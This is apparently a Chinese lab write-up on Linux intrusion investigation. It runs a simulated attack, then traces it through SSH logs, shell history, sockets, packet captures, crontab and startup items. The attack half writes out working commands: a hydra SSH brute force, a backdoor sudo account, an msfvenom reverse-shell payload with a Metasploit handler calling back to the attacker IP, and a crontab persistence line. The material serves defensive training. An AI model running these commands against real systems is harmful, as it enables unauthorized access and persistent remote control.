【网安-应急响应-基础记录】Linux入侵排查

目录

一、基本概念

1、什么是应急响应?

应急响应(Incident Response)就像网络空间的"消防队",它的核心是在安全事件发生后,进行有效应对和快速恢复。

你可能会问,我们如何及时发现攻击?现实是,许多攻击,尤其是利用未知漏洞(0day)的新手法,往往能绕过监测设备的规则库,因为它们看起来和正常流量无异。这时,传统的告警系统可能会失效。

应急响应的关键价值,恰恰体现在这里:当攻击不可避免地已经发生,我们能通过一套事先准备好的流程,迅速控制事态、分析原因、止损恢复,并追踪攻击来源。这不仅是为了解决眼前的问题,更是为了提升未来的防御能力。

正因为其重要性,应急响应经验也成了网络安全岗位面试中的常见问题。

2、应急响应的几个阶段

应急响应流程图:

整个应急响应工作是多人一起做的,工作大致分为如下几个阶段:

  1. 准备阶段:
    制定应急响应计划
    建立应急响应团队
    准备应急工具和资源
    制定沟通计划
    建立备份和恢复机制
    与第三方合作
    记录和文档管理
  2. 检测阶段:
    监控和识别异常
    部署检测工具
    形成安全事件报告
    确定事件输入点和时间线
    评估影响范围
    溯源攻击链路
  3. 抑制阶段:
    限制攻击范围
    关闭受损系统
    收集证据
    实施临时修复措施
    通知相关人员
    监控和评估
    记录和报告
  4. 根除阶段:【各部门协调实施】
    分析恶意行为
    彻底清除恶意代码
    修复漏洞
    恢复系统完整性
    验证清除效果
    记录和报告
    制定预防措施
  5. 恢复阶段:【各部门协调实施】
    恢复系统和服务
    验证系统完整性
    更新和加固系统
    恢复数据
    重新部署安全措施
    监控和评估
    记录和报告
    制定和更新恢复计划
  6. 跟进阶段:【各部门协调实施】
    审计和验证
    总结和报告
    经验教训
    调整安全策略
    培训和教育
    加强监控和防御
    改进应急响应计划
    溯源(有损失的话通过正规渠道定损追责)

二、环境配置

(1)目标主机

名称
操作系统 Ubuntu Server 22
IP地址 192.168.179.134

为了演示SSH密码爆破后产生的日志,并为后续应急响应排查提供演示条件。具体如下:

Step1:开启SSH服务

如果SSH开启,则可以通过XShell及其它工具远程访问。

bash 复制代码
# 查看SSH服务
$ netstat -ant

从图中可以看出,22端口(SSH服务)已启动(ESTABLISHED)。如果服务未安装,则开启方法如下

bash 复制代码
# 安装服务
$ sudo apt install openssh-server

# 修改配置文件
$ sudo vim /etc/ssh/sshd_config
# 找到PasswordAuthentication yes ,将这一行最前面的#删除
PasswordAuthentication yes

# 开启服务
$ sudo systemctl enable ssh
$ sudo systemctl start ssh

# 重启主机
$ reboot

Step2:打开防火墙

检查防火墙状态:

bash 复制代码
# 查看防火墙状态
$ sudo ufw status

# 详细状态(包括规则)
# $ sudo ufw status verbose

# 查看编号的规则列表
# $ sudo ufw status numbered

开启防火墙:

bash 复制代码
# 启用防火墙
$ sudo ufw enable
Command may disrupt existing ssh connections. Proceed with operation (y|n)? y

# 禁用防火墙
# $ sudo ufw disable

开放指定端口:

bash 复制代码
$ sudo ufw allow 22      # SSH端口

# 删除特定规则
# $ sudo ufw delete allow 22

Step3:安装内存取证工具volatility3

bash 复制代码
$ sudo apt install python3-pip

# 下载volatility3的包
$ wget https://files.pythonhosted.org/packages/52/94/b5de76a198a0b0b8af49fc6d8da3ddc15a0a791b9ddf09d06045d6a508d9/volatility3-2.27.0.tar.gz

$ tar -zxvf volatility3-2.27.0.tar.gz
$ cd volatility3-2.27.0

# 查看是否安装成功,此命令为帮助信息
$ python3 vol.py -h

(2)攻击机

名称
操作系统 Kali Linux 2023.4
IP地址 192.168.179.128

三、攻击操作(攻击者视角)

1、SSH密码爆破

Step1:利用hydra对目标主机进行SSH密码爆破(Kali下的操作)

bash 复制代码
$ hydra -L /home/kali/tools/username.txt -P /home/kali/tools/password.txt ssh://192.168.179.134 -t 16 -vV

其中,username.txt和password.txt都是自定义文件,用户本和密码本可以任意选择,无特定要求。

Step2:利用XShell远程登录

通过上述操作,已经破解得到了用户名和密码,此时,为防止此用户人员修改密码,因此,需要新增一个后门用户。

Step3:创建zone用户(目标机下的操作)

bash 复制代码
# 创建新账号:zone
$ sudo useradd zone -m
# 配置zone账号密码
$ sudo passwd zone
# 密码为:zone
New password: 
Retype new password: 

# 使zone账号具有sudo权限
$ sudo vim /etc/sudoers
zone ALL=(ALL:ALL) ALL

# 保存文件按ESC后,输入wq!

添加后的效果:

3、植入木马

Step1:在攻击机中通过MSF生成木马用于控制靶机(Kali下的操作)

bash 复制代码
# 生成木马连接攻击机,使用攻击机控制靶机
$ msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.179.128 LPORT=9999 -f elf -o shell.elf

Step2:给shell.elf加执行权限(Kali下的操作)

bash 复制代码
$ chmod 755 shell.elf

Step3:开发9999端口(目标机下的操作)

bash 复制代码
$ sudo ufw allow 9999

# 重新加载一下ufw命令:
$ sudo ufw reload

Step4:将MSF生成的木马上传至靶机(Kali下的操作)

bash 复制代码
$ sftp zone@192.168.179.134
sftp> cd ~
sftp> put shell.elf

Step5:运行木马(目标机下的操作)

bash 复制代码
$ ssh zone@192.168.179.134
$ ./shell.elf

Step6:利用msf完成攻击(Kali下的操作)

bash 复制代码
$ msfconsole
msf6> use exploit/multi/handler
msf6> set payload linux/x64/shell/reverse_tcp
msf6> set lhost 0.0.0.0
msf6> set lport 9999
msf6> run

# 交互式命令行
python3 -c "import pty;pty.spawn('/bin/bash')"

图片右半部分显示,在Kali中通过MSF已经成功地拿到了目标服务器的shell。

Step7:给木马配置计划任务(crontab)

bash 复制代码
$ crontab -l | { cat; echo "* * * * * sleep 10s; /home/zone/shell.elf";} | crontab -

命令注释:

bash 复制代码
crontab -l:这个命令会列出当前用户的crontab文件内容,即所有已经设置的计划任务。
|:这是管道符,它将前一个命令的输出作为后一个命令的输入。
{ cat; echo "* * * * * sleep 10s; /home/zone/shell.elf"; }:这是一个命令组合:
- cat:这个命令会输出crontab -l所列出的所有内容。
- echo "* * * * * sleep 10s; /home/zone/shell.elf":这行命令会生成一个crontab任务计划。这个
任务计划会每分钟执行一次(* * * * *),首先睡眠10秒(sleep 10s),然后执行位于/home/zone目录下的
shell.elf文件。
| crontab -:这个命令将前面命令组合的输出结果作为新的crontab文件内容,更新当前用户的crontab
任务列表。其中-表示编辑当前用户的crontab文件。

crontab命令的解释:

bash 复制代码
crontab
# * * * * * 表示:分 时 日 月 周
list 列表呈现当前用户的计划任务:crontab -l
edit 编辑,创建计划任务:crontab -e
remove 删除当前用户的所有计划任务:crontab -r
查看计划任务 不知道-u则查看当前用户:crontab -l -u 用户名
删除指定用户所有计划任务:crontab -r -u root

四、攻击排查(应急响应视角)

1、排查SSH爆破(查看系统日志)

bash 复制代码
$ sudo journalctl -u ssh | grep 'Failed password' | tail
Apr 23 11:27:26 otroot sshd[2036]: Failed password for otroot from 192.168.179.128 port 46712 ssh2
Apr 23 11:27:27 otroot sshd[2032]: Failed password for otroot from 192.168.179.128 port 44870 ssh2
Apr 23 11:27:29 otroot sshd[2036]: Failed password for otroot from 192.168.179.128 port 46712 ssh2
Apr 23 11:27:29 otroot sshd[2037]: Failed password for otroot from 192.168.179.128 port 46714 ssh2
Apr 23 11:27:30 otroot sshd[2034]: Failed password for otroot from 192.168.179.128 port 44882 ssh2
Apr 23 11:27:32 otroot sshd[2032]: Failed password for otroot from 192.168.179.128 port 44870 ssh2
Apr 23 11:27:33 otroot sshd[2036]: Failed password for otroot from 192.168.179.128 port 46712 ssh2
Apr 23 11:27:33 otroot sshd[2037]: Failed password for otroot from 192.168.179.128 port 46714 ssh2
Apr 23 11:27:33 otroot sshd[2034]: Failed password for otroot from 192.168.179.128 port 44882 ssh2
Apr 23 11:27:34 otroot sshd[2032]: Failed password for otroot from 192.168.179.128 port 44870 ssh2

通过日志可以看出,从格林威治时间Apr 23 11:27:26起出现了密码爆破的情况。攻击IP为192.168.179.128,尝试登录otroot账户。但并未成功!

bash 复制代码
$ sudo journalctl -u ssh | grep 'Accepted password' | tail
Apr 23 11:27:34 otroot sshd[2036]: Accepted password for otroot from 192.168.179.128 port 46712 ssh2
Apr 23 11:30:01 otroot sshd[2118]: Accepted password for zone from 192.168.179.128 port 42770 ssh2
Apr 23 11:34:33 otroot sshd[2195]: Accepted password for zone from 192.168.179.128 port 53946 ssh2

这部分日志是已经登录成功后的状态,攻击IP(192.168.179.128)已成功利用用户otroot登录了系统。

如果需要查看更多日志信息,在日志路面中可以获取更多。而Ubuntu系统日志信息通常保存在/var/log目录中:

bash 复制代码
$ cd /var/log

除journalctl 之外,查看命令可以用vim、cat、more、less、tail等。

2、历史命令

若找到了可疑用户,此时可以通过对应用户的历史命令记录分析攻击者使用该用户进行了何种操作

bash 复制代码
# 查看当前用户历史操作
$ history
# 查看hack用户历史操作
$ cat /home/zone/.bash_history
# 为了不让后续的命令影响可先将记录导出,然后分析history
$ cat /home/zone/.bash_history > history.txt

注意:新用户未执行过任何命令或者执行命令但没退出当前SSH连接会话,对应用户bash_history文件不存在。就算存在,也可能不会马上更新执行的命令记录。

使用这种方式查看的历史命令,只能看到序号以及执行的命令,但是不知道是谁执行的,什么时候执行的。所以可以去配置文件中增加一下相应的配置:

bash 复制代码
$ sudo vim /etc/profile
# 增加history历史命令的记录行数
HISTSIZE=1000
# 历史命令同时记录更多信息(方便复制)
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ] 
then
	USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"

# 编辑保存后执行,使生效
$ sudo source /etc/profile

3、检查进程与端口

攻击机连接靶机中木马监听的9999端口从而实现对靶机的控制。此时就会存在靶机与攻击机的网络连接,通过端口就能看到该连接信息

bash 复制代码
$ ss -ntap

从图中看到可疑的9999端口以及恶意IP(192.168.179.128)

参数解释:

bash 复制代码
-a或--all:显示所有连线中的Socket;
-A<网络类型>或--<网络类型>:列出该网络类型连线中的相关地址;
-c或--continuous:持续列出网络状态;
-C或--cache:显示路由器配置的快取信息;
-e或--extend:显示网络其他相关信息;
-F或--fib:显示FIB;
-g或--groups:显示多重广播功能群组组员名单;
-h或--help:在线帮助;
-i或--interfaces:显示网络界面信息表单;
-l或--listening:显示监控中的服务器的Socket;
-M或--masquerade:显示伪装的网络连线;
-n或--numeric:直接使用ip地址,而不通过域名服务器;
-N或--netlink或--symbolic:显示网络硬件外围设备的符号连接名称;
-o或--timers:显示计时器;
-p或--programs:显示正在使用Socket的程序识别码和程序名称;
-r或--route:显示Routing Table;
-s或--statistice:显示网络工作信息统计表;
-t或--tcp:显示TCP传输协议的连线状况;
-u或--udp:显示UDP传输协议的连线状况;
-v或--verbose:显示指令执行过程;
-V或--version:显示版本信息;
-w或--raw:显示RAW传输协议的连线状况;
-x或--unix:此参数的效果和指定"-A unix"参数相同;
--ip或--inet:此参数的效果和指定"-A inet"参数相同。

4、流量分析

在发现可疑端口后,通过威胁情报进行搜索,判断是否为连接IP是否为恶意IP地址。但是威胁情报平台未记录并不代表就不是恶意连接,此时可以进行流量分析进一步确认是否为恶意连接。

抓取指定端口流量(抓包工具有很多:wireshark、BurpSuite、yakit、科来等等)。

在linux系统中,推荐使用tcpdump进行抓包,

Step1:执行tcpdump命令

bash 复制代码
# 抓取ens33网卡9999端口流量,并保存至a.cap文件
$ tcpdump -i ens33 port 9999 -w a.cap
# ctrl+c 停止抓取

抓取完成后,将a.cap取至Windows系统电脑,通过WireShark打开:

Step2 :在Windows环境下运行WireShark,并打开a.cap文件

Step3 :右击"追踪流" -> TCP Stream

Step4 :得到分析结果

MSF中不同的payload数据会不同!本次实验是(linux/x64/shell/reverse_tcp)。

5、检查crontab

bash 复制代码
# 已得知zone为可疑用户,此时需要查询zone是否存在crontab
$ sudo crontab -u zone -l
* * * * * sleep 10s; /home/zone/shell.elf

# 根据查到的木马文件,查询是否存在进程
$ ps -ef | grep shell.elf

6、系统启动项与服务

(1)/etc/rc.local

启动项表示在系统开机时就会自行启动的项目。/etc/rc.local 是传统的 SysV init 系统执行自定义启动脚本的方法。

bash 复制代码
# 启动脚本,在系统启动时执行
$ cat /etc/rc.local

一般Linux的服务器是不存在自动启动的项目的。如果说在应急响应的过程中:发现这个文件中写入了东西,那么我们就得去排查配置中的内容。

bash 复制代码
# 查看运行级别
$ runlevel
# 查看运行级别名称
$ systemctl get-default
# 切换以命令模式启动
$ sudo systemctl set-default multi-user.target
# 切换以图形界面模式启动
$ sudo systemctl set-default graphical.target
# 根据运行级别查看对应目录
$ ls /etc/c[0~6].d # 或ls /etc/rc[0~6].d

运行级别(runlevel)是Linux系统中的一种模式,它定义了系统启动时要加载的服务和进程。每个运行级别都有不同的配置,用于在不同的场景下加载不同的服务。在Linux系统中,通常有7个运行级别,它们分别用数字0到6表示

0:关机状态,系统处于停机状态。

1:单用户模式,只有少数关键进程会被启动,主要用于系统维护和故障恢复。

2:多用户模式,没有图形界面,但所有网络服务都会被启动。

3:多用户模式,没有图形界面,所有网络服务也会被启动。

4:保留,未被使用。

5:多用户模式,带图形界面,所有网络服务也会被启动。

6:重启状态,系统会被重新启动。

每个运行级别都有对应的配置文件和脚本,在系统启动或切换运行级别时会根据这些配置文件来决定要启动或停止哪些服务。例如,在运行级别3下,系统会启动/etc/rc3.d目录下的脚本,而在运行级别5下,则会启动/etc/rc5.d

bash 复制代码
$ ls /etc/rc5.d

以上配置说明,系统的运行级别为5,因此查看对应目录下的程序或脚本,这些程序就会在系统启动时自动运行。

另外包括/etc/profile、/etc/profile.d/ 等环境变量的配置也应该逐一检查。

(2)自启动服务(systemctl)

SysV init 是较旧的初始化系统,在许多现代 Linux 发行版中已被 Systemd 取代。systemctl则是

Systemd用于管理系统服务和单元的主要工具。

注意,SysV init与Systemd能否共存,因此都需要进行检查。就像你常用火狐浏览器,但是不代表谷歌浏览器不能使用。

用法:

bash 复制代码
# 启动服务:
systemctl start <service_name>
# 停止服务:
systemctl stop <service_name>
# 重启服务:
systemctl restart <service_name>
# 查看服务状态:
systemctl status <service_name>
# 启用开机自启动:
systemctl enable <service_name>
# 关闭开机自启动:
systemctl disable <service_name>
# 查看所有已启用的服务
systemctl list-unit-files --type=service --state=enabled

查看启动项:

bash 复制代码
$ ls /etc/systemd/system

这是系统已经配置好的开机启动的服务。

相关推荐
一个小浪吴啊2 小时前
MacOS/Linux/Windows 跨平台一键安装OpenCode指南
linux·windows·macos·opencode
圆山猫2 小时前
[AI] [Linux] 教我用rust写一个GPIO驱动
linux·rust
江公望2 小时前
Linux kernel devm_of_platform_populate()函数浅谈
linux
其实防守也摸鱼2 小时前
AWVS下载和安装保姆级教程
linux·服务器·git
洛洛呀。2 小时前
Kali系统桥接模式下相关网络故障
linux·服务器·桥接模式
一名优秀的码农2 小时前
vulhub系列-83-Grotesque:1.0.1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
李日灐2 小时前
<4>Linux 权限:从 Shell 核心原理 到 权限体系的底层逻辑 详解
linux·运维·服务器·开发语言·后端·面试·权限
寒秋花开曾相惜3 小时前
(学习笔记)4.1 Y86-64指令集体系结构(4.1.6 一些Y86-64指令 )
linux·运维·服务器·开发语言·笔记·学习·安全
freewlt3 小时前
TypeScript 5.5 新特性深度解析:类型系统的又一次进化
linux·ubuntu·typescript